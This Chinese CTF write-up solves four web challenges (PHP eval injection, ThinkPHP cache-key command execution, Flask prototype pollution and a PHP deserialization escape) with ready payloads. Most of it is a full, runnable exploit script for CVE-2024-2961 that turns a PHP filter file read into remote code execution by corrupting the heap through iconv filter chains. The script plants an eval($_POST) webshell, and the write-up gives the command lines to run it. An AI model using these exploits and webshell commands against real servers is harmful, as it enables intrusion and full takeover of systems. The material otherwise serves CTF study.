官方wp:https://docs.qq.com/doc/DRmVUb1lOdmFMYmx1

Web

一、CodeInject

源码:

1
2
3
4
5
6
7
8
<?php
#Author: h1xa

error_reporting(0);
show_source(__FILE__);

eval("var_dump((Object)$_POST[1]);");

直接闭合即可

1
2
3
1=1);system('cat /0*');//
1=1);system('cat /0*');?>
1=system('cat /0*')

二、tpdoor

源码:

1

​ 发现$isCache是可控的,又看到将$isCache赋值给了$config['request_cache_key'],在仅给出的php代码中找不到信息,应该靠的是ThinkPHP相关漏洞,就猜测在ThinkPhp最新版源码中查找信息。

​ 全局搜索request_cache_key,发现两处

2

​ 接下来开始审CheckRequestCache.php

5

​ 从上图看到:getRequestCache给key赋值,最终key传到了parseCacheKey中

6

最后 $key 作为参数,$fun 作为函数执行它,即可尝试构造部分构造 payload whoami|system

7

​ 最终在尝试的时候,发现只能执行一次system,即当你执行了访问/?isCache=ls /|system 的时候,它先返回cache is enable,然后返回根目录下的文件,即下面的第一次, 再访问/?isCache=cat /0*|system是不行的,需要重新开启题目,一步到位。

第一次:

image-20240717161946729

第二次(重开题目):

image-20240717162256030

https://blog.csdn.net/qq_63217130/article/details/140301611

三、easy_polluted

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#https://tttang.com/archive/1876/#toc__12
from flask import Flask, session, redirect, url_for,request,render_template
import os
import hashlib
import json
import re
def generate_random_md5():
random_string = os.urandom(16)
md5_hash = hashlib.md5(random_string)
return md5_hash.hexdigest()

def filter(user_input):
blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string']
for pattern in blacklisted_patterns:
if re.search(pattern, user_input, re.IGNORECASE):
return True
return False

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)


app = Flask(__name__)
app.secret_key = generate_random_md5()

class evil():
def __init__(self):
pass

@app.route('/',methods=['POST'])
def index():
username = request.form.get('username')
password = request.form.get('password')
session["username"] = username
session["password"] = password
Evil = evil()
if request.data:
if filter(str(request.data)):
return "NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~"
else:
merge(json.loads(request.data), Evil)
return "MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED"
return render_template("index.html")

@app.route('/admin',methods=['POST', 'GET'])
def templates():
username = session.get("username", None)
password = session.get("password", None)
if username and password:
if username == "adminer" and password == app.secret_key:
return render_template("flag.html", flag=open("/flag", "rt").read())
else:
return "Unauthorized"
else:
return f'Hello, This is the POLLUTED page.'

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

解法一:

1.污染secret_key

1
2
3
{"__init__":{"__globals__":{ "app":{"config":{"secret_key":"name"}}}}}

{"\u005F\u005F\u0069nit\u005F\u005F":{"\u005F\u005F\u0067lobals\u005F\u005F":{"\u0061pp":{"config": {"SECRET\u005FKEY":"name"}}}}}

2.登录,获取session session=eyJwYXNzd29yZCI6Im5hbWUiLCJ1c2VybmFtZSI6ImFkbWluZXIifQ.ZpzhSw.bUHfbuDadn0YEB4XheAMQ-U55Y4

3.带着session访问/adminn

4.然后污染jinja的变量语义符

1
2
3
4
5
6
{ "__init__" : { "__globals__" : { "app" : { "jinia_env" :{ 
"variable_start_string" : "[#",
"variable_end_string" : "#]"
}}}}}
Unicode编码:
{"\u005F\u005F\u0069nit\u005F\u005F":{"\u005F\u005F\u0067lobals\u005F\u005F":{"\u0061\u0070\u0070":{"jinja\u005F\u0065nv":{"variable\u005Fstart\u005F\u0073tring":"[#","variable\u005Fend\u005F\u0073tring": "#]"}}}}}

5.再次带着session访问/admin即可

解法二:

​ 把flag所在的/static/flag的服务器目录替换成根目录

1
2
{"username":"adminer","password":"123","\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" : {"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" :{"\u0061\u0070\u0070" :{"\u0073\u0065\u0063\u0072\u0065\u0074\u005f\u006b\u0065\u0079": "123","\u005f\u0073\u0074\u0061\u0074\u0069\u0063\u005f\u0066\u006f\u006c\u0064\u0065\u0072":"\u002f"}}}}
_static_folder

四、Ezzz_php

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php 
highlight_file(__FILE__);
error_reporting(0);
function substrstr($data)
{
$start = mb_strpos($data, "[");
$end = mb_strpos($data, "]");
return mb_substr($data, $start + 1, $end - 1 - $start);
}
class read_file{
public $start;
public $filename="/etc/passwd";
public function __construct($start){
$this->start=$start;
}
public function __destruct(){
if($this->start == "gxngxngxn"){
echo 'What you are reading is:'.file_get_contents($this->filename);
}
}
}
if(isset($_GET['start'])){
$readfile = new read_file($_GET['start']);
$read=isset($_GET['read'])?$_GET['read']:"I_want_to_Read_flag";
if(preg_match("/\[|\]/i", $_GET['read'])){
die("NONONO!!!");
}
$ctf = substrstr($read."[".serialize($readfile)."]");
//O:9:"read_file":2:{s:5:"start";s:3:"123";s:8:"filename";s:11:"/etc/passwd";}
unserialize($ctf);
}else{
echo "Start_Funny_CTF!!!";
}

知识点:

1.漏洞产生原因

​ mb_strpos和mb_substr以不同的方式处理无效的UTF-8序列,对某些不可见字符的解析差异导致漏洞。

​ 想看详细的介绍在另外一篇博客中。

2.开始解题

​ (1)分析代码,发现它的关键语句:

1
$ctf = substrstr($read."[".serialize($readfile)."]");

第一种传参:

​ 我们可以通过传参read为不可见字符,start为我们需要构造的反序列化链,比如下面第一行的代码,那么这样相当于进行了两次序列化

1
2
poc1:  O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:55:"php://filter/convert.base64-encode/resource=/etc/passwd";}
poc2: O:9:"read_file":2:{s:5:"start";s:126:"O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:55:"php://filter/convert.base64-encode/resource=/etc/passwd";}";s:8:"filename";s:55:"php://filter/convert.base64-encode/resource=/etc/passwd";}

​ 我们可以发现,目前想办法把poc2的前38个字符逃逸掉就可以读取任意文件了,那怎么逃逸呢?我们只需要想办法把poc2的前38个字符逃逸掉就可以读取任意文件了,

​ 一个 %f0abc可以后移三位,一个%9f前移一位,那我们可以计算。13*3-1

1
2
payload1:
read=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%9f&start=O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:55:"php://filter/convert.base64-encode/resource=/etc/passwd";}

第二种传参:

​ 这里还有一个注意点是它返回$start+1,所以我们需要多加一个%9f(增加逃逸)前面 126+1个%9f,还有就是start的值必须足够长(尽可能多实),要不然截取不完

1
2
payload2:
read=%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9fO:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:55:"php://filter/convert.base64-encode/resource=/etc/passwd";}&start=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

到这里才哪到哪,真正的重头戏在面,(我要搞得崩溃了😅),现在我们只是能够利用file_get_contents()进行读取文件,但是我们并不知道flag文件在哪里,这里有一个CVE

CVE-2024-2961:将phpfilter任意文件读取提升为远程代码执行

参考:

https://xz.aliyun.com/t/14690

原作者给出的exp:

https://github.com/ambionics/cnext-exploits/blob/main/cnext-exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
import requests
import re
from ten import *
from pwn import *
from dataclasses import dataclass
from base64 import *
import zlib
from urllib.parse import quote

HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")

url = "https://1e978a69-8ead-4157-8af7-839756b45872.challenge.ctf.show/"
command: str = "echo '<?php eval($_POST[1]);?>'>/var/www/html/1.php;"
sleep: int = 1
PAD: int = 20
pad: int = 20
info = {}
heap = 0

@dataclass
class Region:
"""A memory region."""

start: int
stop: int
permissions: str
path: str

@property
def size(self) -> int:
return self.stop - self.start

# 获取 /proc/self/maps
def get_maps():
data = '?read=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9f%9fa%f0%9f%9fa&start=O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:59:"php://filter/convert.base64-encode/resource=/proc/self/maps";}'

r = requests.get(url+data).text
# print(r)
data = re.search("What you are reading is:(.*)", r).group(1)
# print(txt)
return b64decode(data)
# 获取 libc
def download_file(get_file , local_path):
filename = "php://filter/convert.base64-encode/resource="+get_file
data = '?read=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9f%9fa%f0%9f%9fa&start=O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:[num]:"[filename]";}'
data = data.replace('[num]',str(len(filename)))
data = data.replace('[filename]',filename)
r = requests.get(url + data).text
data = re.search("What you are reading is:(.*)", r).group(1)
data = b64decode(data)
open(local_path,'wb').write(data)
# Path(local_path).write(data)


def get_regions():
maps = get_maps()
maps = maps.decode()
PATTERN = re.compile(
r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)"
)
regions = []
for region in table.split(maps, strip=True):
if match := PATTERN.match(region):
start = int(match.group(1), 16)
stop = int(match.group(2), 16)
permissions = match.group(3)
path = match.group(4)
if "/" in path or "[" in path:
path = path.rsplit(" ", 1)[-1]
else:
path = ""
current = Region(start, stop, permissions, path)
regions.append(current)
else:
print(maps)
# failure("Unable to parse memory mappings")

# self.log.info(f"Got {len(regions)} memory regions")

return regions

# 通过 /proc/self/maps 得到 堆地址
def find_main_heap(regions: list[Region]) -> Region:
# Any anonymous RW region with a size superior to the base heap size is a
# candidate. The heap is at the bottom of the region.
heaps = [
region.stop - HEAP_SIZE + 0x40
for region in reversed(regions)
if region.permissions == "rw-p"
and region.size >= HEAP_SIZE
and region.stop & (HEAP_SIZE - 1) == 0
and region.path == ""
]

if not heaps:
failure("Unable to find PHP's main heap in memory")

first = heaps[0]

if len(heaps) > 1:
heaps = ", ".join(map(hex, heaps))
msg_info(f"Potential heaps: [i]{heaps}[/] (using first)")
else:
msg_info(f"Using [i]{hex(first)}[/] as heap")

return first


def _get_region(regions: list[Region], *names: str) -> Region:
"""Returns the first region whose name matches one of the given names."""
for region in regions:
if any(name in region.path for name in names):
break
else:
failure("Unable to locate region")

return region

# 下载 libc 文件
def get_symbols_and_addresses():
regions = get_regions()
LIBC_FILE = "/dev/shm/cnext-libc"

# PHP's heap

info["heap"] = heap or find_main_heap(regions)

# Libc

libc = _get_region(regions, "libc-", "libc.so")

download_file(libc.path, LIBC_FILE)

info["libc"] = ELF(LIBC_FILE, checksec=False)
info["libc"].address = libc.start

def compress(data) -> bytes:
"""Returns data suitable for `zlib.inflate`.
"""
# Remove 2-byte header and 4-byte checksum
return zlib.compress(data, 9)[2:-4]


def b64(data: bytes, misalign=True) -> bytes:
payload = b64encode(data)
if not misalign and payload.endswith("="):
raise ValueError(f"Misaligned: {data}")
return payload

def compressed_bucket(data: bytes) -> bytes:
"""Returns a chunk of size 0x8000 that, when dechunked, returns the data."""
return chunked_chunk(data, 0x8000)


def qpe(data: bytes) -> bytes:
"""Emulates quoted-printable-encode.
"""
return "".join(f"={x:02x}" for x in data).upper().encode()


def ptr_bucket(*ptrs, size=None) -> bytes:
"""Creates a 0x8000 chunk that reveals pointers after every step has been ran."""
if size is not None:
assert len(ptrs) * 8 == size
bucket = b"".join(map(p64, ptrs))
bucket = qpe(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = compressed_bucket(bucket)

return bucket


def chunked_chunk(data: bytes, size: int = None) -> bytes:
"""Constructs a chunked representation of the given chunk. If size is given, the
chunked representation has size `size`.
For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`.
"""
# The caller does not care about the size: let's just add 8, which is more than
# enough
if size is None:
size = len(data) + 8
keep = len(data) + len(b"\n\n")
size = f"{len(data):x}".rjust(size - keep, "0")
return size.encode() + b"\n" + data + b"\n"

# 攻击 payload 的生成
def build_exploit_path() -> str:
LIBC = info["libc"]
ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
ADDR_EFREE = LIBC.symbols["__libc_system"]
ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]

ADDR_HEAP = info["heap"]
ADDR_FREE_SLOT = ADDR_HEAP + 0x20
ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168

ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10

CS = 0x100

# Pad needs to stay at size 0x100 at every step
pad_size = CS - 0x18
pad = b"\x00" * pad_size
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = compressed_bucket(pad)

step1_size = 1
step1 = b"\x00" * step1_size
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1, CS)
step1 = compressed_bucket(step1)

# Since these chunks contain non-UTF-8 chars, we cannot let it get converted to
# ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"

step2_size = 0x48
step2 = b"\x00" * (step2_size + 8)
step2 = chunked_chunk(step2, CS)
step2 = chunked_chunk(step2)
step2 = compressed_bucket(step2)

step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
step2_write_ptr = chunked_chunk(step2_write_ptr)
step2_write_ptr = compressed_bucket(step2_write_ptr)

step3_size = CS

step3 = b"\x00" * step3_size
assert len(step3) == CS
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = compressed_bucket(step3)

step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
assert len(step3_overflow) == CS
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = compressed_bucket(step3_overflow)

step4_size = CS
step4 = b"=00" + b"\x00" * (step4_size - 1)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = compressed_bucket(step4)

# This chunk will eventually overwrite mm_heap->free_slot
# it is actually allocated 0x10 bytes BEFORE it, thus the two filler values
step4_pwn = ptr_bucket(
0x200000,
0,
# free_slot
0,
0,
ADDR_CUSTOM_HEAP, # 0x18
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
ADDR_HEAP, # 0x140
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
size=CS,
)

step4_custom_heap = ptr_bucket(
ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18
)

step4_use_custom_heap_size = 0x140

COMMAND = command
COMMAND = f"kill -9 $PPID; {COMMAND}"
if sleep:
COMMAND = f"sleep {sleep}; {COMMAND}"
COMMAND = COMMAND.encode() + b"\x00"

assert (
len(COMMAND) <= step4_use_custom_heap_size
), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"
COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")

step4_use_custom_heap = COMMAND
step4_use_custom_heap = qpe(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)

pages = (
step4 * 3
+ step4_pwn
+ step4_custom_heap
+ step4_use_custom_heap
+ step3_overflow
+ pad * PAD
+ step1 * 3
+ step2_write_ptr
+ step2 * 2
)

resource = compress(compress(pages))
resource = b64(resource)
resource = f"data:text/plain;base64,{resource.decode()}"

filters = [
# Create buckets
"zlib.inflate",
"zlib.inflate",

# Step 0: Setup heap
"dechunk",
"convert.iconv.latin1.latin1",

# Step 1: Reverse FL order
"dechunk",
"convert.iconv.latin1.latin1",

# Step 2: Put fake pointer and make FL order back to normal
"dechunk",
"convert.iconv.latin1.latin1",

# Step 3: Trigger overflow
"dechunk",
"convert.iconv.UTF-8.ISO-2022-CN-EXT",

# Step 4: Allocate at arbitrary address and change zend_mm_heap
"convert.quoted-printable-decode",
"convert.iconv.latin1.latin1",
]
filters = "|".join(filters)
path = f"php://filter/read={filters}/resource={resource}"
# print(path)
return path

# 开始攻击。攻击返回404是成功的标志,因为 command 最前面把进程 kill 掉了
# COMMAND = f"kill -9 $PPID; {COMMAND}"
def exploit() -> None:
path = build_exploit_path()
start = time.time()

try:
data = '?read=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9f%9fa%f0%9f%9fa%f0%9f%9fa&start=O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:[num]:"[data]";}'

data = data.replace('[num]', str(len(path)))
data = data.replace('[data]', quote(path))
# print(data)
r = requests.get(url + data).text
# print("r: ",r)
data = re.search("What you are reading is:(.*)", r).group(1)
print('-----end-----')
# print("data; ",data)
data = b64decode(data)
print(data)
except:
print("Error")

msg_print()

if not sleep:
msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/] [i](probably)[/]")
elif start + sleep <= time.time():
msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/]")
else:
# Wrong heap, maybe? If the exploited suggested others, use them!
msg_print(" [b white on black] EXPLOIT [/][b white on red] FAILURE [/]")

msg_print()


get_symbols_and_addresses()
print(info)
exploit()

​ 在kali里面下载要用到的工具,pwntools,然后运行

1
2
3
运行:	python3 exp.py url "echo '<?=@eval(\$_POST[0]);?>' > 1.php"
python3 exp.py http://7e86bcb5-3ec7-4d27-9799-be6f80286ed9.challenge.ctf.show/ "echo'?=@eval(\$_POST[0]);?'>1.php"
python3 exp.py --url "http://7e86bcb5-3ec7-4d27-9799-be6f80286ed9.challenge.ctf.show/" --command "echo'?=@eval(\$_POST[0]);?'>1.php"

太难啦,看不懂ing…..